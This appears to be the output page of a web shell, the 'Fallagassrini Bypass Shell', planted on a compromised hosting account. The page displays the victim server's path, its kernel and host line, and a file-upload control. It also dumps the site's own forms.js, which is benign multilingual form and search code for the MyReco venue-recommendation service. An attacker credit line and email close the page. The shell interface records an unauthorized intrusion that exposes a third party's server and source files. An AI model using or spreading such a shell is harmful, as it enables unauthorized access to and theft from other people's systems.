Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/happyrenas/restaurant.myreco.online/public/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/happyrenas/restaurant.myreco.online/public/forms.js

(() => {
  const TEXT = {
    fr: {
      visibilityTitle: 'Testez votre visibilité MyReco',
      visibilityIntro: 'Recherchez votre établissement pour voir la liste des hébergements qui vous recommanderont.',
      partnerListTitle: 'Hébergements qui vous recommanderont',
      localityLinkText: 'Voir les autres établissements déjà référencés dans votre localité',
      localityLinkButton: 'Ouvrir la liste locale',
      subscriptionTitle: 'Réserver votre place sur MyReco',
      subscriptionIntro: 'Recherchez votre établissement, choisissez une durée, puis renseignez votre URL de réservation.',
      searchLabel: 'Nom de votre établissement',
      searchPlaceholder: 'Ex. restaurant, brasserie, pizzeria...',
      noResults: 'Aucun établissement trouvé. Essayez avec le nom ou la ville.',
      loading: 'Recherche en cours...',
      select: 'Sélectionner',
      selected: 'Établissement sélectionné',
      partnerCount: 'hébergements partenaires identifiés',
      productLabel: 'Durée de visibilité',
      bookingLabel: 'URL de réservation',
      bookingPlaceholder: 'https://...',
      startDateLabel: 'Date de début souhaitée',
      submitVisibility: 'Tester ma visibilité',
      submitSubscription: "Je m'abonne",
      chooseFirst: 'Sélectionnez d’abord votre établissement.',
      chooseProduct: 'Choisissez une durée de visibilité.',
      savedVisibility: 'Demande enregistrée. Nous revenons vers vous avec le détail des hébergements partenaires.',
      savedSubscription: 'Demande enregistrée. Le lien de paiement Stripe doit encore être configuré côté API.',
      error: 'Impossible de joindre le service pour le moment. Réessayez dans un instant.'
    },
    es: {
      visibilityTitle: 'Prueba tu visibilidad MyReco',
      visibilityIntro: 'Busca tu establecimiento para ver la lista de alojamientos que te recomendarán.',
      partnerListTitle: 'Alojamientos que te recomendarán',
      localityLinkText: 'Ver los establecimientos ya referenciados en tu localidad',
      localityLinkButton: 'Abrir la lista local',
      subscriptionTitle: 'Reserva tu lugar en MyReco',
      subscriptionIntro: 'Busca tu establecimiento, elige una duración e indica tu URL de reserva.',
      searchLabel: 'Nombre de tu establecimiento',
      searchPlaceholder: 'Ej. restaurante, tapas, pizzería...',
      noResults: 'No se encontró ningún establecimiento. Prueba con el nombre o la ciudad.',
      loading: 'Buscando...',
      select: 'Seleccionar',
      selected: 'Establecimiento seleccionado',
      partnerCount: 'alojamientos asociados identificados',
      productLabel: 'Duración de visibilidad',
      bookingLabel: 'URL de reserva',
      bookingPlaceholder: 'https://...',
      startDateLabel: 'Fecha de inicio deseada',
      submitVisibility: 'Probar mi visibilidad',
      submitSubscription: 'Me suscribo',
      chooseFirst: 'Primero selecciona tu establecimiento.',
      chooseProduct: 'Elige una duración de visibilidad.',
      savedVisibility: 'Solicitud registrada. Te enviaremos el detalle de los alojamientos asociados.',
      savedSubscription: 'Solicitud registrada. El enlace de pago Stripe debe configurarse en la API.',
      error: 'No se puede contactar el servicio por ahora. Inténtalo de nuevo en un momento.'
    },
    it: {
      visibilityTitle: 'Prova la tua visibilità MyReco',
      visibilityIntro: 'Cerca la tua struttura per vedere l\'elenco degli alloggi che ti consiglieranno.',
      partnerListTitle: 'Alloggi che ti consiglieranno',
      localityLinkText: 'Vedi le strutture già referenziate nella tua località',
      localityLinkButton: 'Apri la lista locale',
      subscriptionTitle: 'Prenota il tuo posto su MyReco',
      subscriptionIntro: 'Cerca la tua struttura, scegli una durata e indica il tuo URL di prenotazione.',
      searchLabel: 'Nome della struttura',
      searchPlaceholder: 'Es. ristorante, pizzeria, trattoria...',
      noResults: 'Nessuna struttura trovata. Prova con il nome o la città.',
      loading: 'Ricerca in corso...',
      select: 'Seleziona',
      selected: 'Struttura selezionata',
      partnerCount: 'alloggi partner identificati',
      productLabel: 'Durata della visibilità',
      bookingLabel: 'URL di prenotazione',
      bookingPlaceholder: 'https://...',
      startDateLabel: 'Data di inizio desiderata',
      submitVisibility: 'Provare la visibilità',
      submitSubscription: 'Mi abbono',
      chooseFirst: 'Seleziona prima la tua struttura.',
      chooseProduct: 'Scegli una durata di visibilità.',
      savedVisibility: 'Richiesta registrata. Ti invieremo il dettaglio degli alloggi partner.',
      savedSubscription: 'Richiesta registrata. Il link di pagamento Stripe deve essere configurato nell’API.',
      error: 'Impossibile contattare il servizio per ora. Riprova tra poco.'
    },
    en: {
      visibilityTitle: 'Test your MyReco visibility',
      visibilityIntro: 'Search for your venue to see the list of accommodations that will recommend you.',
      partnerListTitle: 'Accommodations that will recommend you',
      localityLinkText: 'View the venues already listed in your local area',
      localityLinkButton: 'Open local list',
      subscriptionTitle: 'Reserve your place on MyReco',
      subscriptionIntro: 'Search for your venue, choose a visibility period, then enter your booking URL.',
      searchLabel: 'Venue name',
      searchPlaceholder: 'E.g. restaurant, bistro, pizzeria...',
      noResults: 'No venue found. Try with the name or city.',
      loading: 'Searching...',
      select: 'Select',
      selected: 'Selected venue',
      partnerCount: 'partner accommodations identified',
      productLabel: 'Visibility period',
      bookingLabel: 'Booking URL',
      bookingPlaceholder: 'https://...',
      startDateLabel: 'Desired start date',
      submitVisibility: 'Test my visibility',
      submitSubscription: 'Subscribe',
      chooseFirst: 'Select your venue first.',
      chooseProduct: 'Choose a visibility period.',
      savedVisibility: 'Request saved. We will send you the partner accommodation details.',
      savedSubscription: 'Request saved. The Stripe payment link still needs to be configured in the API.',
      error: 'The service cannot be reached right now. Please try again in a moment.'
    }
  };

  const LANGS = ['fr', 'es', 'it', 'pt', 'en'];
  const htmlLang = (document.documentElement.lang || '').slice(0, 2).toLowerCase();
  const configuredLang = String(window.MYRECO_LANG || '').slice(0, 2).toLowerCase();
  const lang = LANGS.includes(configuredLang) ? configuredLang : (LANGS.includes(htmlLang) ? htmlLang : 'en');
  const t = TEXT[lang] || TEXT.en;
  const CONTACT_TEXT = {
    fr: {
      title: 'Une question sur MyReco ?',
      intro: 'Utilisez ce formulaire pour nous contacter. Nous vous répondrons dès que possible.',
      name: 'Nom de votre établissement',
      address: 'Adresse de votre établissement',
      addressHint: 'La saisie automatique du navigateur peut aider à remplir ce champ plus vite.',
      email: 'Votre adresse e-mail',
      subject: 'Sujet de votre question',
      message: 'Votre message',
      submit: 'Envoyer',
      sending: 'Envoi en cours...',
      success: 'Merci, votre message a bien été envoyé.',
      missingCategory: 'Veuillez sélectionner au moins une catégorie.',
      error: 'Impossible d’envoyer le message pour le moment. Réessayez dans un instant.',
      categories: ['Demande d’informations', 'Référencement d’un établissement', 'Modification d’une fiche établissement', 'Partenariat', 'Problème technique', 'Facturation / paiement', 'Autre']
    },
    es: {
      title: '¿Una pregunta sobre MyReco?',
      intro: 'Utiliza este formulario para contactarnos. Te responderemos lo antes posible.',
      name: 'Nombre de tu establecimiento',
      address: 'Dirección de tu establecimiento',
      addressHint: 'El autocompletado del navegador puede ayudarte a rellenar este campo más rápido.',
      email: 'Tu correo electrónico',
      subject: 'Tema de tu consulta',
      message: 'Tu mensaje',
      submit: 'Enviar',
      sending: 'Enviando...',
      success: 'Gracias, tu mensaje se ha enviado correctamente.',
      missingCategory: 'Selecciona al menos una categoría.',
      error: 'No se puede enviar el mensaje por ahora. Inténtalo de nuevo en un momento.',
      categories: ['Solicitud de información', 'Alta de un establecimiento', 'Modificación de una ficha de establecimiento', 'Colaboración', 'Problema técnico', 'Facturación / pago', 'Otro']
    },
    it: {
      title: 'Una domanda su MyReco?',
      intro: 'Usa questo modulo per contattarci. Ti risponderemo il prima possibile.',
      name: 'Nome della tua struttura',
      address: 'Indirizzo della tua struttura',
      addressHint: 'Il completamento automatico del browser può aiutarti a compilare questo campo più rapidamente.',
      email: 'Il tuo indirizzo e-mail',
      subject: 'Oggetto della richiesta',
      message: 'Il tuo messaggio',
      submit: 'Invia',
      sending: 'Invio in corso...',
      success: 'Grazie, il tuo messaggio è stato inviato correttamente.',
      missingCategory: 'Seleziona almeno una categoria.',
      error: 'Impossibile inviare il messaggio per il momento. Riprova tra poco.',
      categories: ['Richiesta di informazioni', 'Inserimento di una struttura', 'Modifica di una scheda struttura', 'Partnership', 'Problema tecnico', 'Fatturazione / pagamento', 'Altro']
    },
    en: {
      title: 'A question about MyReco?',
      intro: 'Use this form to contact us. We will reply as soon as possible.',
      name: 'Venue name',
      address: 'Venue address',
      addressHint: 'Browser autocomplete can help fill this field faster.',
      email: 'Your email address',
      subject: 'Subject of your question',
      message: 'Your message',
      submit: 'Send',
      sending: 'Sending...',
      success: 'Thank you, your message has been sent.',
      missingCategory: 'Please select at least one category.',
      error: 'The message cannot be sent right now. Please try again in a moment.',
      categories: ['Information request', 'Venue listing', 'Venue listing update', 'Partnership', 'Technical issue', 'Billing / payment', 'Other']
    }
  };
  const contactT = CONTACT_TEXT[lang] || CONTACT_TEXT.en;
  const startedAt = Date.now();

  function inferVertical() {
    const explicit = new URLSearchParams(location.search).get('vertical');
    if (explicit) return explicit;
    const host = location.hostname.toLowerCase();
    if (host.includes('restaurant') || host.includes('restautant')) return 'restaurant';
    if (host.includes('soiree')) return 'soiree';
    return 'ludique';
  }

  function apiBase() {
    return (window.MYRECO_API_BASE || 'https://api.myreco.online').replace(/\/$/, '');
  }

  const vertical = window.MYRECO_VERTICAL || inferVertical();
  const country = String(window.MYRECO_COUNTRY || '').trim().toUpperCase();
  const hasCountry = /^[A-Z]{2}$/.test(country);
  const base = apiBase();
  const storageKey = 'myrecoSelectedVenue:' + (hasCountry ? country : 'no-country') + ':' + vertical + ':' + lang;

  function escapeHtml(value) {
    return String(value || '').replace(/[&<>"']/g, (char) => ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#039;' }[char]));
  }

  function contactEndpoint() {
    return (window.MYRECO_CONTACT_ENDPOINT || (base + '/api/v1/contact')).replace(/\/$/, '');
  }

  function publicContextMessage() {
    return ({
      fr: 'Configuration pays manquante pour ce site.',
      es: 'Falta la configuracion de pais para este sitio.',
      it: 'Configurazione paese mancante per questo sito.',
      pt: 'Configuracao de pais ausente para este site.',
      en: 'Country configuration is missing for this site.'
    }[lang] || 'Country configuration is missing for this site.');
  }

  function minSearchCharsMessage() {
    return ({
      fr: 'Saisissez au moins 4 caracteres.',
      es: 'Escribe al menos 4 caracteres.',
      it: 'Inserisci almeno 4 caratteri.',
      pt: 'Digite pelo menos 4 caracteres.',
      en: 'Enter at least 4 characters.'
    }[lang] || 'Enter at least 4 characters.');
  }

  function hasPublicApiContext() {
    return hasCountry && Boolean(vertical);
  }

  async function request(path, options = {}) {
    const method = String(options.method || 'GET').toUpperCase();
    const headers = { ...(options.headers || {}) };
    if (!['GET', 'HEAD'].includes(method) && options.body && !headers['Content-Type']) {
      headers['Content-Type'] = 'application/json';
    }
    const response = await fetch(base + path, {
      ...options,
      headers
    });
    const json = await response.json().catch(() => ({}));
    if (!response.ok || json.ok === false) throw new Error(json.error || 'request_failed');
    return json;
  }

  function resultLabel(item) {
    return [item.name, [item.postal_code, item.city].filter(Boolean).join(' ')].filter(Boolean).join(' - ');
  }

  function readStoredSelection() {
    try {
      const stored = window.localStorage && localStorage.getItem(storageKey);
      return stored ? JSON.parse(stored) : null;
    } catch (err) {
      return null;
    }
  }

  function storeSelection(item) {
    try {
      if (window.localStorage) localStorage.setItem(storageKey, JSON.stringify(item));
    } catch (err) {}
  }

  function localityUrl(item) {
    const raw = String(item.qr_mrx || '').trim();
    if (!raw) return '';
    try {
      const parsed = new URL(raw);
      return parsed.searchParams.get('text') || raw;
    } catch (err) {
      return raw;
    }
  }

  function localityLinkHtml(item) {
    const url = localityUrl(item);
    const qrImage = String(item.qr_mrx_img || item.qr_mrx || '').trim();
    if (!url && !qrImage) return '';
    const mobileLink = url ? '<div class="mobile-locality-link"><p>' + escapeHtml(t.localityLinkText || '') + '</p><a class="button" target="_blank" rel="noopener" href="' + escapeHtml(url) + '">' + escapeHtml(t.localityLinkButton || '') + '</a></div>' : '';
    const desktopQr = qrImage ? '<div class="desktop-locality-qr"><p>Scannez ce QR code pour visualiser les autres &eacute;tablissements d&eacute;j&agrave; pr&eacute;sents dans MyReco</p><img src="' + escapeHtml(qrImage) + '" alt="QR code MyReco"></div>' : '';
    return mobileLink + desktopQr;
  }

  function applySelection(container, item, details, status, options = {}) {
    details.innerHTML = detailHtml(item, options);
    const results = container.querySelector('[data-role="results"]');
    if (results) results.innerHTML = '';
    const input = container.querySelector('[data-role="search"]');
    if (input) input.value = resultLabel(item);
    const locality = container.querySelector('[data-role="locality-link"]');
    if (locality) locality.innerHTML = options.showPartnerList ? localityLinkHtml(item) : '';
    if (status) status.textContent = '';
  }

  function partnerListHtml(item) {
    const raw = String(item.liste_heberg || '');
    const names = raw.split(/\r?\n|;|\|/).map((name) => name.trim()).filter(Boolean).slice(0, 12);
    if (!names.length) return '';
    return '<div class="partner-list"><p class="partner-list-title">' + escapeHtml(t.partnerListTitle || '') + '</p><ul>' + names.map((name) => '<li>' + escapeHtml(name) + '</li>').join('') + '</ul></div>';
  }

  function detailHtml(item, options = {}) {
    const count = item.total_heberg || '0';
    const partners = options.showPartnerList ? partnerListHtml(item) : '';
    return '<div class="form-selected"><p class="eyebrow">' + t.selected + '</p><h3>' + escapeHtml(item.name) + '</h3><p>' + escapeHtml([item.postal_code, item.city].filter(Boolean).join(' ')) + '</p><p><strong>' + escapeHtml(count) + '</strong> ' + t.partnerCount + '</p>' + partners + '</div>';
  }

  function renderResults(target, items, onSelect) {
    if (!items.length) {
      target.innerHTML = '<p class="form-muted">' + t.noResults + '</p>';
      return;
    }
    target.innerHTML = '<div class="form-results">' + items.map((item, index) => (
      '<button type="button" class="form-result" data-index="' + index + '"><span>' + escapeHtml(resultLabel(item)) + '</span><strong>' + t.select + '</strong></button>'
    )).join('') + '</div>';
    target.querySelectorAll('.form-result').forEach((button) => {
      button.addEventListener('click', () => onSelect(items[Number(button.dataset.index)]));
    });
  }

  function setupSearch(container, onSelect) {
    const input = container.querySelector('[data-role="search"]');
    const results = container.querySelector('[data-role="results"]');
    let timer = 0;
    let activeSearchController = null;
    let searchSequence = 0;
    input.addEventListener('input', () => {
      clearTimeout(timer);
      if (activeSearchController) {
        activeSearchController.abort();
        activeSearchController = null;
      }
      const q = input.value.trim();
      const sequence = ++searchSequence;
      if (q.length < 4) {
        results.innerHTML = q ? '<p class="form-muted">' + escapeHtml(minSearchCharsMessage()) + '</p>' : '';
        return;
      }
      results.innerHTML = '<p class="form-muted">' + t.loading + '</p>';
      timer = setTimeout(async () => {
        if (sequence !== searchSequence) return;
        try {
          if (!hasPublicApiContext()) {
            results.innerHTML = '<p class="form-error">' + escapeHtml(publicContextMessage()) + '</p>';
            return;
          }
          activeSearchController = new AbortController();
          const json = await request('/api/v1/search?country=' + encodeURIComponent(country) + '&vertical=' + encodeURIComponent(vertical) + '&lang=' + encodeURIComponent(lang) + '&q=' + encodeURIComponent(q), { signal: activeSearchController.signal });
          if (sequence !== searchSequence) return;
          renderResults(results, json.items || [], onSelect);
        } catch (err) {
          if (err && err.name === 'AbortError') return;
          if (sequence !== searchSequence) return;
          results.innerHTML = '<p class="form-error">' + t.error + '</p>';
        } finally {
          if (sequence === searchSequence) activeSearchController = null;
        }
      }, 360);
    });
  }

  async function loadProducts(select) {
    try {
      if (!hasPublicApiContext()) {
        select.innerHTML = '<option value="">' + t.productLabel + '</option>';
        return;
      }
      const json = await request('/api/v1/products?country=' + encodeURIComponent(country) + '&vertical=' + encodeURIComponent(vertical) + '&lang=' + encodeURIComponent(lang));
      select.innerHTML = '<option value="">' + t.productLabel + '</option>' + (json.products || []).map((product) => (
        '<option value="' + escapeHtml(product.id) + '">' + escapeHtml(product.label + ' - ' + product.priceText) + '</option>'
      )).join('');
    } catch (err) {
      select.innerHTML = '<option value="">' + t.productLabel + '</option>';
    }
  }

  function baseTemplate(kind) {
    const isSubscription = kind === 'subscription';
    return '<div class="myreco-form-card">' +
      '<div class="form-heading"><p class="eyebrow">MyReco</p><h2>' + (isSubscription ? t.subscriptionTitle : t.visibilityTitle) + '</h2><p>' + (isSubscription ? t.subscriptionIntro : t.visibilityIntro) + '</p></div>' +
      '<form class="public-form" novalidate>' +
      '<label>' + t.searchLabel + '<input type="search" data-role="search" autocomplete="off" placeholder="' + escapeHtml(t.searchPlaceholder) + '"></label>' +
      '<div data-role="results"></div>' +
      '<div data-role="details"></div>' +
      (isSubscription ? '<div class="form-grid"><label>' + t.productLabel + '<select data-role="product"></select></label><label>' + t.bookingLabel + '<input type="url" data-role="booking" placeholder="' + escapeHtml(t.bookingPlaceholder) + '"></label><label>' + t.startDateLabel + '<input type="date" data-role="start"></label></div>' : '') +
      '<input type="text" data-role="hp" tabindex="-1" autocomplete="off" class="form-hp" aria-hidden="true">' +
      '<button class="button" type="submit">' + (isSubscription ? t.submitSubscription : t.submitVisibility) + '</button>' +
      '<p class="form-status" data-role="status"></p>' +
      '</form>' +
      '</div>' +
      '<div data-role="locality-link"></div>';
  }

  function mount(container) {
    const kind = container.dataset.myrecoForm || container.dataset.form || 'visibility';
    let selected = null;
    container.innerHTML = baseTemplate(kind);
    const details = container.querySelector('[data-role="details"]');
    const status = container.querySelector('[data-role="status"]');
    const form = container.querySelector('form');
    const product = container.querySelector('[data-role="product"]');
    if (product) loadProducts(product);
    const storedSelection = readStoredSelection();
    const showPartnerList = kind === 'visibility';
    if (storedSelection && storedSelection.id) {
      selected = storedSelection;
      applySelection(container, selected, details, status, { showPartnerList });
    }
    setupSearch(container, (item) => {
      selected = item;
      storeSelection(item);
      applySelection(container, item, details, status, { showPartnerList });
    });
    form.addEventListener('submit', async (event) => {
      event.preventDefault();
      status.className = 'form-status';
      if (!selected) {
        status.textContent = t.chooseFirst;
        return;
      }
      if (!hasPublicApiContext()) {
        status.textContent = publicContextMessage();
        status.classList.add('error');
        return;
      }
      const hp = container.querySelector('[data-role="hp"]').value;
      const payload = { country, vertical, lang, activityId: selected.id, hp, elapsedMs: Date.now() - startedAt };
      try {
        if (kind === 'subscription') {
          const productId = product.value;
          if (!productId) {
            status.textContent = t.chooseProduct;
            return;
          }
          const json = await request('/api/v1/subscription/start', {
            method: 'POST',
            body: JSON.stringify({
              ...payload,
              productId,
              urlBooking: container.querySelector('[data-role="booking"]').value.trim(),
              startDateISO: container.querySelector('[data-role="start"]').value
            })
          });
          if (json.paymentUrl) {
            window.location.href = json.paymentUrl;
            return;
          }
          status.textContent = t.savedSubscription;
          status.classList.add('success');
          return;
        }
        await request('/api/v1/visibility/request', { method: 'POST', body: JSON.stringify(payload) });
        status.textContent = t.savedVisibility;
        status.classList.add('success');
      } catch (err) {
        status.textContent = t.error;
        status.classList.add('error');
      }
    });
  }

  function contactTemplate() {
    return '<div class="myreco-form-card contact-public-card">' +
      '<div class="form-heading"><p class="eyebrow">MyReco</p><h2>' + escapeHtml(contactT.title) + '</h2><p>' + escapeHtml(contactT.intro) + '</p></div>' +
      '<form class="public-form contact-public-form" novalidate>' +
      '<input type="text" data-role="contact-website" tabindex="-1" autocomplete="off" class="form-hp" aria-hidden="true">' +
      '<div class="field"><label>' + escapeHtml(contactT.name) + ' <span class="required">*</span><input type="text" data-role="contact-name" required autocomplete="organization"></label></div>' +
      '<div class="field"><label>' + escapeHtml(contactT.address) + ' <span class="required">*</span><input type="text" data-role="contact-address" required autocomplete="street-address"></label><p class="form-hint">' + escapeHtml(contactT.addressHint) + '</p></div>' +
      '<div class="field"><label>' + escapeHtml(contactT.email) + ' <span class="required">*</span><input type="email" data-role="contact-email" required autocomplete="email" inputmode="email"></label></div>' +
      '<div class="field"><p class="field-label">' + escapeHtml(contactT.subject) + ' <span class="required">*</span></p><div class="checkbox-group">' + contactT.categories.map((category) => '<label class="checkbox-item"><input type="checkbox" name="contact-category" value="' + escapeHtml(category) + '"><span>' + escapeHtml(category) + '</span></label>').join('') + '</div></div>' +
      '<div class="field"><label>' + escapeHtml(contactT.message) + ' <span class="required">*</span><textarea data-role="contact-message" required></textarea></label></div>' +
      '<button class="button" type="submit">' + escapeHtml(contactT.submit) + '</button>' +
      '<p class="form-status" data-role="contact-status"></p>' +
      '</form>' +
      '</div>';
  }

  function mountContact(container) {
    container.innerHTML = contactTemplate();
    const form = container.querySelector('form');
    const status = container.querySelector('[data-role="contact-status"]');
    const button = form.querySelector('button[type="submit"]');
    form.addEventListener('submit', async (event) => {
      event.preventDefault();
      status.className = 'form-status';
      const categories = Array.from(form.querySelectorAll('input[name="contact-category"]:checked')).map((input) => input.value);
      if (!categories.length) {
        status.textContent = contactT.missingCategory;
        status.classList.add('error');
        return;
      }
      if (!hasPublicApiContext()) {
        status.textContent = publicContextMessage();
        status.classList.add('error');
        return;
      }
      const payload = {
        nomEtablissement: form.querySelector('[data-role="contact-name"]').value.trim(),
        adresseEtablissement: form.querySelector('[data-role="contact-address"]').value.trim(),
        email: form.querySelector('[data-role="contact-email"]').value.trim(),
        categories,
        message: form.querySelector('[data-role="contact-message"]').value.trim(),
        website: form.querySelector('[data-role="contact-website"]').value.trim(),
        country,
        lang,
        vertical,
        elapsedMs: Date.now() - startedAt,
        sourceHost: location.host,
        sourcePath: location.pathname
      };
      button.disabled = true;
      button.textContent = contactT.sending;
      status.textContent = '';
      try {
        const response = await fetch(contactEndpoint(), {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify(payload)
        });
        const json = await response.json().catch(() => ({}));
        if (!response.ok || json.ok === false) throw new Error(json.error || 'contact_failed');
        status.textContent = contactT.success;
        status.classList.add('success');
        form.reset();
      } catch (err) {
        status.textContent = contactT.error;
        status.classList.add('error');
      } finally {
        button.disabled = false;
        button.textContent = contactT.submit;
      }
    });
  }

  function mountTariffImage(container) {
    const tariffCountry = country;
    if (!hasCountry) {
      container.innerHTML = '';
      return;
    }
    const family = vertical === 'ludique' ? 'activite' : 'resto';
    const src = '../assets/tarif/tarif_' + family + '_' + tariffCountry + '.png';
    const alt = {
      fr: 'Tarifs MyReco',
      es: 'Tarifas MyReco',
      it: 'Tariffe MyReco',
      en: 'MyReco pricing'
    }[lang] || 'MyReco pricing';
    container.innerHTML = '<figure class="tariff-visual-card"><img src="' + src + '" alt="' + alt + '" loading="lazy"></figure>';
  }

  function bindPlanLinks() {
    document.querySelectorAll('[data-plan]').forEach((link) => {
      link.addEventListener('click', () => {
        window.setTimeout(() => {
          const select = document.querySelector('[data-role="product"]');
          if (select && link.dataset.plan) {
            select.value = link.dataset.plan;
          }
        }, 250);
      });
    });
  }

  document.querySelectorAll('[data-tariff-image]').forEach(mountTariffImage);
  document.querySelectorAll('[data-myreco-contact]').forEach(mountContact);
  document.querySelectorAll('[data-myreco-form], [data-form]').forEach(mount);
  bindPlanLinks();
})();

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net